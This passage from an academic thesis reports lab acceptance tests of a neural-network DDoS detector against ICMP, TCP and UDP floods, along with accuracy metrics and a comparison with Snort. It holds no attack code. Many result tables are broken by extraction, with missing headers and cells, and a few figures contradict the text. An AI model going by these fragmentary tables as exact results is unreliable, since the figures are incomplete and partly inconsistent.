     G  F G  Detection Passed 
     F  G G  Detection Passed 
     F  F G  Detection Passed 
     G  F F  Detection Passed 
     F  F F  Detection Passed 
     G  G F 1 A 
pattern 
Detection Passed 




Table  6-7: Changing the attack patterns. 
 
We learned from our tests that our DDoS Detector detects attacks with different combinations 
of forged and genuine patterns. In addition, we included three more new patterns for each 
protocol to test‎the‎detector’s‎response.‎Our‎DDoS‎Detector‎was‎able‎to‎detect‎the attacks as 
shown in Table 6-7. This is because our solution detects unknown patterns that are similar to 
the patterns used in training the ANN algorithm. The additional patterns shown above are not 
used or covered in Chapter 4 and the DDoS Detector does not use them to identify the attack. 
Instead, the detector uses the patterns that the ANN is familiar with (i.e. the patterns that are 
covered in Chapter 4). Our experiments show that most DDoS attacks contain a minimum of 
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6.5 Summary  
In this chapter, we have discussed our detection and mitigation process by explaining the 
process and the steps for implementing the DDoS Detectors, whose design is reported in 
Chapter 5. We started by taking each component separately and identified relevant 
technologies that assist the implementation process. One can either implement the entire 
solution from scratch or reuse and modify some existing solutions and add custom code onto 
them. After careful consideration and analysis, we selected and modified third party libraries 
and packages to retrieve packets and to prepare them for the ANN engine. Snort-AI is one of 
the selected open source security packages, since the author of this thesis is one its primary 
contributors. Because it is not part of the scope of this thesis, the programming for each 
component is not discussed, but references are provided whenever required. We also 
selected packet filtering instructions to prevent forged packets reaching the victim, and used 
the knowledge sharing component using encrypted client-server architecture. Then, the 
implemented DDoS Detectors were tested against the requirements defined in Chapter 3. For 
this to be accurate, we introduced two different environments - virtual and physical. The 
environments were secured to prevent packets flowing outside potentially causing accidental 
DDoS attacks. Our DDoS Detectors were able to detect and mitigate most known and 
unknown DDoS attacks, and share the information between the detectors. In the next chapter 
(Chapter 7- Acceptance Testing and Evaluation), we evaluate our work based on the 
accuracy of our solution in terms of Detection Accuracy, Sensitivity and Specificity.  
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Chapter 7 – Acceptance Testing and Evaluation  
7.1 Introduction  
In Chapter 6, we explained the implementation process of our DDoS Detectors and tested the 
detection, mitigation, and knowledge sharing components based on the objectives described 
in Chapter 3 using integration, functional and system testing. In this chapter, we extend our 
aims and objectives for the purposes of evaluation and comparison between our approach 
and other academic and signature based DDoS attack detection solutions. The requirements 
described in Chapter 6, Table 6-5, are further validated to provide quantitative results to 
evaluate our detection process. The evaluations and comparisons are based on calculated 
results for Sensitivity, Specificity, False Positive Rate (FPR), Precision and Detection 
Accuracy. These calculations are used to compare our contributions with the other 
approaches described in Chapter 2. This also assists in identifying positive and negative 
results, and verifies any traffic that is flagged as genuine or normal. Furthermore, we 
compared and evaluated our detection process against known and unknown DDoS attacks 
when the ANN algorithm is trained with old and up-to-date datasets. We then changed and 
adjusted the values of our detection thresholds and recorded the outcome. In this chapter, we 
begin by validating each requirement described in Chapter 3 and determining the Detection 
Accuracy of detecting DDoS attacks. We then take the average detection of all the tests we 
have undertaken and compare our results with Snort (signature based) detection and other 
related academic research findings. The outcomes are analysed and used to evaluate and 
identify our contribution.  
 
7.2 Acceptance Testing and Results  
In Chapter 6, we tested each requirement (scenarios) separately and verified the expected 
results as shown in Table 6-6. In this section, we extend our testing process from verification 
to acceptance. The results of these tests are used to calculate Sensitivity, Specificity, False 
Positive Rate (FPR), Precision and Detection Accuracy (Chapter 3, Section 3.3). The 
outcome is then used in Section 7.5 to compare our contribution with Snort and other related 
academic research work. The tests are deployed in environments one and two (Chapter 6, 
Section 6.4.1) with the total number of 1160 rounds of tests for both environments where 
known and unknown DDoS attacks (low and high rates) are used to test our DDoS Detectors.  
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Known and unknown DDoS attacks traffic (see Chapter 0 for definition) with methodologies 
described in Chapter 4, Table 4-1, and Chapter 6, Section 6.4.2, in combination with genuine 
traffic (normal traffic) are used in our tests. The maximum number of zombies used to launch 
the attacks is between 20 and 280 (total zombies in environment one and two), laid on 
different virtual networks. We divided the attacks to 50% known DDoS attacks and 50% 
unknown DDoS attacks. This means that in each 10 DDoS attacks, there are 5 known DDoS 
attacks and 5 unknown DDoS attacks (see later sections). Furthermore, each time we used 
10 rounds of high volume of genuine traffic to see the solution´s ability to detect high volume 
genuine traffic. We selected 10, because it is easy to calculate, control and organise. As 
explained in Chapter 1, unknown (zero-day) DDoS attacks are attacks that any current 
solutions are not aware of, and cannot be detected. In our context, unknown DDoS attacks 
cover approaches and mechanisms that are not used to train our ANN, and therefore the 
ANN algorithm is not directly aware of them. The results are recorded in separate tables 
containing the following information.  
 Number: The round of test number.  
 Environment: Indicates testing environment one or two.  
 Number of zombies: Indicates the number of zombies or hosts used in the attack.  
 Number of attacks and genuine traffic: Indicates the number of rounds of attack or 
genuine traffic executions (i.e. how many times each attack or genuine traffic has 
been launched).  
 True Positive: DDoS attacks that are flagged as attacks. 
 False Positive: Normal (genuine) traffic flagged as DDoS attacks. 
 True Negative: Normal (genuine) traffic that is flagged as normal. 
 False Negative: DDoS attacks that are flagged as normal.  
 
Each requirement is tested separately as discussed in the following sub-sections.  
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  Unknown and known detection of high and low rate DDoS attacks  7.2.1
To avoid confusion, we take each protocol separately and record the test results accordingly. 
Table 7-1 indicates DDoS attacks for ICMP protocol in environments one and two.   
No. Environment No. of 
zombies 











1 Env1 20 
Zombies 
Ten attacks  10/10 
attacks 
detected  
N/A N/A N/A 
2 Env2 20 
Zombies 
Ten attacks  10/10 
attacks 
detected  
N/A N/A N/A 
3 Env1 40 
Zombies 
Ten attacks  10/10 
attacks 
detected  
N/A N/A N/A 
4 Env2 40 
Zombies 
Ten attacks  10/10 
attacks 
detected  
N/A N/A N/A 
5 Env1 60 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
6 Env2 60 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
7 Env1 80  
Zombies  
Ten attacks 9/10 
attacks 
detected  
N/A N/A 1 attack is 
flagged 
genuine 
8 Env2 80  
Zombies 
Ten attacks 8/10 
attacks 
detected  
N/A N/A 2 attacks 
flagged 
genuine  
9 Env1 100 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
10 Env2 100 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
11 Env1 120 
Zombies 
Ten attacks  10/10 
attacks 
detected  
N/A N/A N/A 
12 Env2 120 
Zombies 
Ten attacks  10/10 
attacks 
detected  
N/A N/A N/A 
13 Env1 N/A 
 
Ten rounds of 
normal traffic 




14 Env2 N/A 
 
Ten rounds of 
normal traffic 





15 Env1 N/A 
 
Ten rounds of 
normal traffic 
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16 Env2 N/A 
 
Ten rounds of 
normal traffic 





17 Env1 N/A 
 
Ten rounds of 
normal traffic 




18 Env2 N/A 
 
Ten rounds of 
normal traffic 




19 Env1 N/A 
 
Ten rounds of 
normal traffic 




20 Env2 N/A 
 
Ten rounds of 
normal traffic 




21 Env1 N/A 
 
Ten rounds of 
normal traffic 




22 Env2 N/A 
 
Ten rounds of 
normal traffic 




23 Env1 N/A 
 
Ten rounds of 
normal traffic 




24 Env2 N/A 
 
Ten rounds of 
normal traffic 





Table  7-1: Test results of ICMP DDoS attacks in environments one and two. 
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Table 7-2 shows results of DDoS attacks for the TCP protocol that covers requirement one in 
environments one and two.   
No. Environments  No. of 
zombies  











1 Env1 20 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
2 Env2 20 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
3 Env1 40 
Zombies 
Ten attacks 9/10 
attacks 
detected 
N/A N/A 1 attack is 
flagged 
genuine 
4 Env2 40 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
 
5 Env1 60 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
6 Env2 60 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
7 Env1 80 
Zombies 
Ten attacks 10/10 
attacks 
detected. 
N/A N/A N/A 
8 Env2 80 
Zombies 
Ten attacks 9/10 
attacks 
detected 
N/A N/A 1 attack is 
flagged 
genuine 
9 Env1 100 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
10 Env2 100 
Zombies 
Ten attacks  10/10 
attacks 
detected 
N/A N/A N/A 
11 Env1 120 
Zombies 
Ten attacks 10/10 
attacks 
detected  
N/A N/A N/A 
12 Env1 120 
Zombies 
Ten attacks 10/10 
attacks 
detected  
N/A N/A N/A 
13 Env1 N/A Ten rounds of 
normal traffic  








14 Env2 N/A Ten rounds of 
normal traffic  
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15 Env1 N/A Ten rounds of 
normal traffic  






16 Env2 N/A Ten rounds of 
normal traffic  






17 Env1 N/A Ten rounds of 
normal traffic  






18 Env2 N/A Ten rounds of 
normal traffic  







19 Env1 N/A Ten rounds of 
normal traffic  






20 Env2 N/A Ten rounds of 
normal traffic  






21 Env1 N/A Ten rounds of 
normal traffic  






22 Env2 N/A Ten rounds of 
normal traffic  






23 Env1 N/A Ten rounds of 
normal traffic 






24 Env2 N/A Ten rounds of 
normal traffic 







Table  7-2: Test results of the TCP DDoS attacks in environments one and two. 
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For the UDP protocol, Table 7-3 shows results of DDoS attacks that cover requirement one in 
environments one and two.   
No. 
 
Environment  No. of 
zombies  











1 Env1 20 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
2 Env2 20 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
3 Env1 40 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
4 Env2 40 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
5 Env1 60 
Zombie 
Ten attacks  8/10 
attacks 
detected 
N/A N/A 2 attacks 
flagged 
genuine. 
6 Env2 60 
Zombie 
Ten attacks  9/10 
attacks 
detected 
N/A N/A 1 attack 
flagged 
genuine 
7 Env1 80 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
8 Env2 80 
Zombies 
Ten attacks 10/10 
attacks 
detected 
N/A N/A N/A 
9 Env1 100 
Zombies 
Ten attacks  10/10 
attacks 
detected 
N/A N/A N/A 
10 Env2 100 
Zombies 
Ten attacks  10/10 
attacks 
detected 
N/A N/A N/A 
11 Env1 120 
Zombies 
Ten attacks  10/10 
attacks 
detected 
N/A N/A N/A 
12 Env2 120 
Zombies 
Ten attacks  10/10 
attacks 
detected 
N/A N/A N/A 
13 Env1  N/A Ten rounds of 
normal traffic 






14 Env2  N/A Ten rounds of 
normal traffic 
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15 Env1  N/A Ten rounds of 
normal traffic 






16 Env2  N/A Ten rounds of 
normal traffic 






17 Env1  N/A Ten rounds of 
normal traffic 






18 Env2  N/A Ten rounds of 
normal traffic 






19 Env1  N/A Ten rounds of 
normal traffic 






20 Env2  N/A Ten rounds of 
normal traffic 






21 Env1  N/A Ten rounds of 
normal traffic 








22 Env2  N/A Ten rounds of 
normal traffic 






23 Env1 N/A Ten rounds of 
normal traffic 






24 Env2 N/A Ten rounds of 
normal traffic 







Table  7-3: Test results of the UDP DDoS attacks in environments one and two. 
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Tables 7-1, 7-2 and 7-3 are identical in terms of the following points: 
 We tried to introduce environments that are as closest and realistic as possible to real 
life using high number of zombies in combination with genuine traffic. The tests are 
identical in the number of zombies and packet rates in both environments. This is to 
identify DDoS Detectors; response in each environment.  
 Known and unknown DDoS attacks (low and high rates) and methodologies 
described in Chapter 4, Table 4-1, and Chapter 6, Section 6.4, are used to deploy the 
attacks. In each round of 10 attacks, we divided the attacks into 5 known and 5 
unknown DDoS attacks. 
 Genuine applications (user traffic) and Jmeter are used to generate high and low 
rates of genuine traffic. 
 In each table, the numbers 1 to 12 represent DDoS Attack traffic and 13 to 24 
represent normal traffic. 
 Each number (round) consists of 10 attacks or 10 normal traffic producing: 
o 180 separate ICMP, UDP and TCP DDoS attacks in environment one. 
o 180 separate ICMP, UDP and TCP DDoS attacks in environment two. 
o 180 rounds of genuine traffic in environment one. 
o 180 rounds of genuine traffic in environment two. 
o This yields the following totals:  
 Total of 360 DDoS attacks on both environments  
 Total of 360 genuine traffic rounds on both environments  
 In environment one, 1 ICMP, 1 TCP and 2 UDP unknown DDoS attacks were flagged 
as genuine.  In environment two, 2 ICMP, 1 TCP and 1 UDP unknown DDoS attacks 
were flagged as genuine. Thus, a total of only 8 over 360 attacks were not detected.   
 
The tests summarised in Tables 7-1, 7-2 and 7-3 are results of individual TCP, UDP and 
ICMP DDoS attacks in environments one and two. We extended our tests to deploy combined 
(mixed) TCP, UDP and ICMP DDoS attacks in environment two over three rounds and 
recorded the results in Table 7-4.  
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N/A N/A N/A 







N/A N/A 2 attacks 
flagged 
genuine 







N/A N/A 2 attacks 
flagged 
genuine 






















N/A N/A 1 attack 
flagged 
genuine 







N/A N/A 2 attacks 
flagged 
genuine 







N/A N/A 1 attack 
flagged 
genuine 






















N/A N/A 1 attack 
flagged 
genuine 







N/A N/A 3 attacks 
flagged 
genuine 







N/A N/A N/A 
















Table  7-4: Test results of combined TCP, UDP and ICMP DDoS attacks in environment two. 
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In Table 7-4, the results represent mixed TCP, UDP and ICMP DDoS attacks coupled with 
genuine traffic towards 10.0.0.5, 10.0.0.7 and 10.0.0.15. The purpose of such mixed attacks 
is to identify our DDoS Detector´s ability to detect various mixed DDoS attacks. In each round 
of the experiments we deployed 180 mixed TCP, UDP and ICMP DDoS attacks coupled with 
180 of genuine traffic where the number of used known and unknown DDoS attacks are 
equal. 
  
Next we calculate Sensitivity, Specificity, False Positive Rate (FPR), Precision and Detection 
Accuracy of our tests recorded in Tables 7-1, 7-2, 7-3, and 7-4 as shown in Table 7-5. This is 
used later in Section 7.5 to evaluate our approach vis-à-vis other approaches. In Chapter 3, 
Section 3.3, we explained the formulas used to calculate Sensitivity, Specificity, False 





Accuracy of DDoS 









ICMP Attack 98.75 97.50 100 100 0 
TCP Attack 99.16 98.33 100 100 0 















98.88 97.77 100 100 0 
Average  98.88 97.77 100 100 0 
 
Table  7-5: Sensitivity, Specificity, FPR, Precision and Detection Accuracy. 
 
The results of Sensitivity, Specificity, False Positive Rate (FPR), Precision and Detection 
Accuracy calculations shown in Table 7-5 are based on results recorded in Tables 7-1, 7-2, 7-
3 and 7-4. Such results cover known/unknown DDoS attacks and genuine traffic detection 
when the number of packets is greater than the thresholds. The FPR shows zero value 
because our tests did not identify False Positive results (normal traffic flagged as DDoS 
attacks). Hence, it is not possible to generate ROC curve for our work. However, such 
average values change if the thresholds of each protocol are changed (see Section 7.6). 
Figure 7-1 represents charts of the DDoS attack detections and genuine traffic. 
 




Figure  7-1: Genuine traffic, separate and mixed ICMP, UDP and TCP DDoS detection. 
 
 
 Detect and separate genuine traffic that is attacking traffic- look-a-like 7.2.2
The results of requirement two for TCP, UDP and ICMP genuine traffic that looks like DDoS 
attacks are recorded in Tables 7-1, 7-2, 7-3, and 7-4  (shown as genuine traffic) when a high 
load of genuine traffic is used to verify its legitimacy by the DDoS Detectors. This is typically 
true when a popular destination is under a large volume of genuine traffic as many users wish 
to request its service from different geographical locations (e.g. a website showing a World 
Cup football match). This introduces a high volume of traffic that is DDoS attack look-a-like.  
Our solution should allow such genuine traffic to pass through even though the number of 
packets is greater than the predefined thresholds. Based on the consideration that both 
requirements one and two are closely related to each other, requirement two was tested while 
working on requirement one. The percentage values described in Table 7-5 cover the 
Detection Accuracy, Sensitivity, Specificity, FPR and Precision of genuine and DDoS traffic.  
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 Detect DDoS attacks when DDoS Detectors themselves are under DDoS attack 7.2.3
A DDoS Detector is under DDoS attack while trying to detect DDoS flow towards other 
destinations. In other words, the attacker targets both the DDoS Detector and a victim. The 
purpose of such a scenario is to paralyse the DDoS Detector while attacking the victim. We 
have introduced this scenario in environment one where we used multiple zombies to attack 





























75% 25 Minutes 






88% 30 Minutes 






95% 45 Minutes 






100% 50 Minutes 






100% 60 Minutes 





100%  1 hour 
and 15 
minutes  





100% 1 hour and 
30 minutes  
 
Table  7-6: DDoS attack detection against DDoS Detectors and a victim. 
  
As shown in Table 7-6, we started with 20 zombies (40 zombies for both destinations), 
increasing gradually to 140 zombies (280 zombies for both destinations), and launched mixed 
ICMP, TCP and UDP DDoS attacks towards a victim and our DDoS Detector.  The purpose of 
this test is to check the availability of our detection system when the DDoS Detector and a 
victim are both under a large number of attacks for durations between 25 minutes and 1 hour 
and 30 minutes. In the 1
st
 test, we launched 10 mixed DDoS attacks using a total of 40 
zombies (both destinations), while in the 7
th
 test, we used a total of 280 zombies (both 
destinations) and launched 10 mixed DDoS attacks. In total we launched 140 mixed DDoS 
attacks (towards the DDoS Detector and the victim) of which 4 attacks were not detected. In 
the experiments, we disabled the defence system to check the DDoS Detector´s response to 
crashing.  
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Our experiments did not show signs of DDoS Detector crashing, but the CPU utilisation 
increased to 100% and the network traffic was fully populated with packets. This is because 
the DDoS Detector was trying to detect the DDoS attack directed to itself and the DDoS 
attack directed to the victim. Hence, the CPU utilisation rapidly increased as we increased the 
number of zombies. The CPU utilisation was measured using the operating system´s built-in 
service tool and each CPU utilisation value recorded in Table 7-6 is the total value of CPU 
usage in which the DDoS attack was active.  We could not conduct further experiments after 
1 hour and 30 minutes since our hardware specifications could not accommodate extra 
numbers of packets.  During the tests while both the victim and the DDoS Detector are under 
TCP, UDP and ICMP DDoS attacks, the detector was able to detect 68 out of 70 DDoS 
attacks towards the victim and 68 out of 70 DDoS attacks towards the DDoS Detector itself. 
This means, only 4 out 140 DDoS attacks were undetected by the DDoS Detectors. We then 
extended Table 7-6 to Table 7-7 to calculate Sensitivity, Specificity, False Positive Rate 
























20 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
2  40  
Zombies 
40 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
3  60  
Zombies 
60 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
4  80  
Zombies 
80 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
5  100 
Zombies 
100 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
6  120 
Zombies 
120 Zombies 8/10 
attacks 
detected 
N/A N/A 2 attacks 
flagged 
genuine 
7  140 
Zombies 
140 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
 
1 Victim 20  
Zombies 
20 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
2  40  
Zombies 
40 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
 
3  60  
Zombies 
60 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
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4  80  
Zombies 
80 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
5  100 
Zombies 
100 Zombies 10/10 
attacks 
detected 
N/A N/A N/A 
6  120 
Zombies 
120 Zombies 9/10 
attacks 
detected 
N/A N/A 1 attack 
flagged 
genuine 
7  140 
Zombies 
140 Zombies  9/10 
attacks 
detected 




Table  7-7: Detecting mixed DDoS attacks towards two targets. 
 
Table 7-7 is an extended version of Table 7-6, and which contains values that assist the 
calculation outcomes of Table 7-8 below.   
 












DDoS Detector  97.14 97.14 0 100 0 
Victim  97.14 97.14 0 100 0 
Average  97.14 97.14 0 100 0 
 
Table  7-8: Sensitivity, Specificity, FPR, Precision and Detection Accuracy. 
 
In Table 7- 8, Specificity and FPR both show zero results because False Positive and True 
Negative are shown as not applicable (nothing identified).  As mentioned earlier, the purpose 
of this‎ test‎ is‎ to‎ identify‎ our‎ solution’s‎ performance‎ and‎ ability‎ to‎ detect‎ attacks‎ that‎ are‎
directed to the DDoS Detector itself and a victim. Our solution was able to detect 97.14% of 
DDoS attacks directed to both DDoS Detector and the victim missing only a total of 4 attacks 
out of 140 DDoS attacks.  
 
  Mitigate DDoS attacks when detected  7.2.4
When attacks (unknown or known attacks) are detected by our detection component, the 
defence system described in Chapter 5 is activated to protect the destination victim by 
dropping the forged packets. We have examined our defence system in environment two 
where genuine and forged packets flowed in the network. We started examining our defence 
component against ICMP, UDP, TCP DDoS attacks and the results are shown in Table 7-9.  
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N/A N/A N/A 














N/A N/A N/A 
 
Table  7-9: Detection and defence components in environment two. 
 
The results from Table 7-9 are explained as follows: 
 The tests are deployed in environment two. The objective is to test our defence 
component with respect to DDoS attacks  
 We launched 180 separate and 120 mixed ICMP, UDP and TCP DDoS attacks and 
our defence component mitigated all DDoS attacks that were detected by the 
detection component.  
 
The results in Table 7-9 are used to calculate Sensitivity, Specificity, False Positive Rate 













TCP Attack 95.00 95.00 0 100 0 
UDP Attack 98.33 98.33 0 100 0 
ICMP Attack  98.33 98.33 0 100 0 
UDP, ICMP and TCP 
attack (round 1) 
100 100 0 100 0 
UDP, ICMP and TCP 
attack (round 2) 
100 100 0 100 0 
Average  98.33 98.33 0 100 0 
 
Table  7-10: Defence component Sensitivity, Specificity, FPR, Precision and Defence Accuracy. 
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In Table 7-10, Specificity and FPR both show zero results because False Positive and True 
Negative are shown as not applicable (nothing identified - 0 value). When we launched 
separate TCP, UDP and ICMP DDoS attacks, our defence system was able to mitigate most 
DDoS attacks producing a defence accuracy of 95%, 98%, %98 and 100% respectively. Such 
results are expected because the defence system is programed to defend on the basis of 
detection‎ system’s‎ output.‎ If‎ the‎ detection‎ component‎ flags‎ a‎ set‎ of‎ traffic‎ to‎ be‎ a‎ DDoS‎
attacks, then the defence system stops them from reaching the victim. This means any failure 




  Communication between the DDoS Detectors via encrypted messages 7.2.5
Communications between the DDoS Detectors provide enough awareness information to 
assist individual DDoS Detectors to take countermeasures if needed. This includes the 
destination machine and type of the attack (see Chapter 5, Section 5.6).  For this particular 
test, we selected three virtual networks in environments one and two, while environment two 
is safely connected to an outside Network. The network consisted of the following 
characteristics. 
Network-1 
DDoS Detector: 10.0.0.1 
Network: 10.0.0.0 
Interface: eth1, eth2 and eth3 (physical interfaces of the machine). 
 
Network -2 
DDoS Detector: 10.0.2.1 
Network: 10.0.2.0 
Interfaces: eth1, eth2 and eth3 (physical interfaces of the machine). 
 
Network-3 
DDoS Detector: 10.0.3.1 
Network: 10.0.3.0 
Interfaces: eth1, eth2 and eth3 (physical interfaces of the machine). 
 
Attacker/Zombies 
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In our setup, we selected one DDoS Detector for each network that analyses and protects the 
network on interface one (eth1). Interfaces two and three (eth2 and eth3) are used for secure 
communication between every other network to deliver encrypted messages when an attack 
is detected by any detector in the networks. Meanwhile, the zombies spread in networks 
192.168.1.0 and 192.168.2.0. The results of the tests are shown in Table 7-11. 
 No. 
Test  
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Table  7-11: Knowledge sharing. 
 
In the experiments, we launched 120 mixed DDoS attacks (each with different number of 
zombies) and 120 rounds of genuine traffic from three different virtual networks. In the tests, 
the communications between the DDoS Detectors were successful and no communication 
failures were experienced. However, communications can fail if logical errors or configuration 
issues are experienced. Sensitivity, Specificity, False Positive Rate (FPR), Precision and 

























Table  7-12: Knowledge sharing Sensitivity, Specificity, FPR, Precision and Communication Accuracy. 
 
        
   Minimise the strength of DDoS attacks before they reach their destination 7.2.6
Distributing DDoS Detectors reduces the strength of DDoS attacks if each detector detects, 
mitigates and shares. The purpose of this test is to measure the traffic (DDoS attack and 
genuine traffic) before and after DDoS attack mitigation. We used environment two, with the 
same network settings described in Section 7.2.5 where DDoS Detectors are distributed 
between the networks as shown in Figure 5-1, Section 5.2 Chapter 5. Using IPTraf, we 
calculated the number of packets before and after DDoS detection and recorded them in the 
following Table 7-13. 
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Mixed TCP, UDP and 
ICMP DDoS attacks and 
genuine traffic 
(Rounds/sec) 
Packet Number before 
DDoS attacks 
detection/mitigation  





1 134892433 155554 0.11% 
2 154373721 167874 0,10% 
3 194312791 177334 0.09% 
4 2343193842 127244 0.01% 
5 2648793810 117332 0.004% 
 
Table  7-13: Number of packets before and after DDoS detection and mitigation. 
 
The above table represents number of packets before and after DDoS mitigation. The second 
column from the left shows genuine and forged packet numbers. When threats are detected 
by the detection component, the defence component blocked all the forged packets allowing 
genuine packets to pass through. This resulted in reducing the strength of the attacks (third 
column from the left) while genuine packets reached their destination. The fourth column from 
the left represents the percentage of packets after mitigation.  
 
7.3 Old and Up-to-date Datasets in DDoS Detection.  
In section 7.2, we extended our testing focus with regard to our requirements to calculate the 
detection, mitigation and knowledge sharing accuracies of our DDoS Detector. In this section, 
we explain the effect of old and up-to-date training datasets on the Sensitivity, Specificity, 
FPR, Precision and Detection Accuracy. As explained in Chapter 4 Section 4.9, old datasets 
are datasets that cover old known DDoS attacks (patterns), while up-to-date datasets cover 
old and the latest known DDoS attacks (patterns). We began by training our approach with 
old and up-to-date datasets and launched known and unknown DDoS attacks to identify the 
DDoS Detector´s response to unknown DDoS attacks. This was performed as follows. 
1. Generated new datasets that contained genuine traffic and old DDoS attacks using 
the steps described in Chapter 4, Section 4.2. However, the DDoS attack approaches 
that‎ are‎ used‎ to‎ generate‎ DDoS‎ attacks‎ according‎ to‎ today’s‎ standards‎ do‎ not‎
introduce threats to the network and can be identified by signature based detection 
systems such as Snort. Hence, the patterns that form the datasets are old and known 
to the existing solutions.  
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2. Designed, trained, implemented and integrated all three detection, defence and 
knowledge sharing components as described in Chapters 5 and 6 to create a new 
DDoS Detector. We call the current solution, which is trained with up-to-date patterns, 
DDoS Detector-1, while the new one is called DDoS Detector-2. Then the new 
solution (DDoS Detector-2) is trained with old datasets that we obtained in step 1. In 
other words, DDoS Detector-1 is untouched since its ANN algorithm was already 
trained with up-to-date patterns.  
3. Installed both DDoS Detectors 1 and 2 in environment two where genuine traffic and 
DDoS attacks are flowing towards the victim. The DDoS approaches and tools used 
to launch the attacks are the same as used and described in Section 7.2.  
4. In the experiments, 60 mixed UDP, TCP and ICMP attacks and 60 rounds of genuine 
traffic are used simultaneously towards the same destination. This is done via two 
different virtual networks where each DDoS Detector, 1 and 2, is installed separately. 
5. The number of zombies used in these experiments ranges between 20 and 120.  
 
The results of the experiments are recorded in Table 7-14 while calculation and comparison 
of Sensitivity, Specificity, False Positive Rate (FPR), Precision and Detection Accuracy of a 
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N/A N/A N/A 10/10 rounds of 





N/A N/A 2 Normal 
flagged as 
attack. 
8/10 rounds of 






N/A N/A N/A 10/10 rounds of 
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N/A N/A N/A 10/10 rounds of 





N/A N/A N/A 10/10 rounds of 





N/A N/A N/A 10/10 rounds of 




Table  7-14: DDoS Detectors 1 and 2 test results. 
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DDoS Detector-2 failed to detect 7 unknown DDoS attacks (60 DDoS attacks are launched of 
which 30 of the attacks are known and 30 are unknown) and flagged 2 out of 60 rounds of 
genuine traffic as attacks. The results from Table 7-14 are used to produce Table 7-15, which 
is later further analysed in Section 7.5  








FPR  (%) 
DDoS Detector - 1 98.33 96.66 100 100 0 
DDoS Detector - 2  92.50 88.33 96.66 96.36 3.33 
 
Table  7-15: Sensitivity, Specificity, FPR, Precision and Detection Accuracy. 
 
When we trained DDoS Detector-2 with old datasets, the solution detected 100% known 
DDoS attacks, 76% unknown DDoS attack and produced 92% Detection Accuracy (equal 
number of known and unknown DDoS attacks used). However, when we trained DDoS 
Detector-1 with up-to-date datasets, the solution was able to detect most known and unknown 
DDoS attacks (98% Detection Accuracy) that are similar to those it was trained with. This 
means, the more up-to-date patterns we used to train the ANN, the better the solution 
responded to detect unknown DDoS attacks. See Section 7.5 for the number of detected 
known and unknown DDoS attacks (current approach with up-to-date patterns).  
 
7.4 Signature Based Detection and DDoS Detectors 
We further extend our testing process by comparing our existing DDoS Detector with Snort 
(signature based solution) to validate our contribution in terms of Detection Accuracy 
Sensitivity, Specificity, FPR and Precision. We have chosen Snort as a popular signature 
solution that uses its pre-defined rules in its database to detect different DDoS attacks. Snort 
is a popular open source Intrusion Detection System with a good industrial reputation. We 
conducted our tests in environment two; where we tested each solution (Snort and DDoS 
Detector) with 60 DDoS attacks and 60 rounds of genuine traffic. The Number of zombies 
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N/A N/A 1 attack 
flagged  
normal  














N/A N/A N/A 
 
13 Snort N/A N/A 1 Normal 
flagged as 
attack  
9/10 rounds of 





N/A N/A N/A 10/10 rounds of 
traffic detected to 
be normal 
N/A 
15 Snort N/A N/A 1 Normal 
flagged as 
attack  
9/10 rounds of 






N/A N/A N/A 10/10 rounds of 




17 Snort N/A N/A N/A 10/10 rounds of 










N/A N/A N/A 10/10 rounds of 
traffic detected to 
be normal 
N/A 
19 Snort N/A N/A N/A 10/10 rounds of 





N/A N/A N/A 10/10 rounds of 
traffic detected to 
be normal 
N/A 
21 Snort N/A N/A N/A 10/10 rounds of 







N/A N/A N/A 10/10 rounds of 
traffic detected to 
be normal 
N/A 
23 Snort N/A N/A N/A 10/10 rounds of 





N/A N/A N/A 10/10 rounds of 




Table  7-16: DDoS Detector and Snort. 
 
Our solution was able to detect both genuine and DDoS attack traffic and produced 98% 
Detection Accuracy (See Section 7.5 for the number of detected known and unknown DDoS 
attacks). On the other hand, Snort´s Detection Accuracy is 93% of 100% known and 80% 










 FPR (%) 
DDoS 
Detector  
98.33 96.66 100 100 0 
Snort 93.33 90.00 96.66 96.42 3.33 
 
Table  7-17: Sensitivity, Specificity, FPR, Precision and Detection Accuracy. 
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7.5  Comparisons, Analysis and Evaluation 
 In this section, we further tabulated and compared our test results with other approaches and 
academic research work (Chapter 2). The outcome of our comparisons is then analysed and 
used to evaluate our work to verify our contribution. However, some of the research papers 
discussed in Chapter 2 do not provide Sensitivity, Specificity, FPR or Detection Rates values. 
Some provide explanations of accuracy while other papers provide values for only some 
measures (e.g. Sensitivity or Specificity). We have, however, taken the average values of our 
tests and recorded them in Table 7-18, where we compare our approach with others. The 
comparisons and analysis only cover detection and mitigation leaving the DDoS tractability 
approach untouched. The comparison covers related and unrelated approaches such as data 
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N/A 89.9259 N/A N/A N/A N/A Simulation 
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Table  7-18: Comparison between our approach and others. 
 
In Table 7-18, we compared our approach (DDoS Detector) with Snort and other academic 
research works. To evaluate our approach and identify our contribution, one needs to 
compare and analyse the outcome of our work in terms of values that represent accuracy. 
Therefore, in our comparison, we selected papers that provided accuracy values of their work 
and discarded research papers that did not provide such values. However, all related 
approaches that have not provided such values are explained in Chapter 2.  As explained in 
